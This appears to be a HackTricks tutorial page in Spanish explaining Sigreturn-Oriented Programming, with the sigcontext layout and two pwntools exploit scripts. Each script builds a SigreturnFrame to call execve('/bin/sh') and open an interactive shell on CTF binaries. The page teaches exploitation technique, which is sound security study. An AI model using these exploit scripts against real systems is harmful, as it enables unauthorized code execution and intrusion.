SROP - Sigreturn-Oriented Programming

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

Sigreturn es una llamada al sistema especial que se utiliza principalmente para limpiar después de que un manejador de señales haya completado su ejecución. Las señales son interrupciones enviadas a un programa por el sistema operativo, a menudo para indicar que ha ocurrido alguna situación excepcional. Cuando un programa recibe una señal, pausa temporalmente su trabajo actual para manejar la señal con un manejador de señales, una función especial diseñada para tratar las señales.

Después de que el manejador de señales termina, el programa necesita resumir su estado anterior como si nada hubiera pasado. Aquí es donde entra en juego sigreturn. Ayuda al programa a regresar desde el manejador de señales y restaura el estado del programa limpiando el marco de la pila (la sección de memoria que almacena las llamadas a funciones y variables locales) que fue utilizado por el manejador de señales.

La parte interesante es cómo sigreturn restaura el estado del programa: lo hace almacenando todos los valores de los registros de la CPU en la pila. Cuando la señal ya no está bloqueada, sigreturn saca estos valores de la pila, restableciendo efectivamente los registros de la CPU a su estado antes de que se manejara la señal. Esto incluye el registro del puntero de pila (RSP), que apunta a la parte superior actual de la pila.

Llamar a la llamada al sistema sigreturn desde una cadena ROP y agregar los valores de registro que nos gustaría que cargue en la pila es posible controlar todos los valores de los registros y, por lo tanto, llamar por ejemplo a la llamada al sistema execve con /bin/sh.

Observa cómo esto sería un tipo de Ret2syscall que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls:

pageRet2syscall

Si tienes curiosidad, esta es la estructura sigcontext almacenada en la pila para luego recuperar los valores (diagrama de aquí):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Para obtener una mejor explicación, consulta también:

Ejemplo

Puedes encontrar un ejemplo aquí donde la llamada a signeturn se construye a través de ROP (colocando en rxa el valor 0xf), aunque este es el exploit final a partir de allí:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Revisa también el exploit desde aquí donde el binario ya estaba llamando a sigreturn y por lo tanto no es necesario construirlo con un ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Otros Ejemplos y Referencias

Última actualización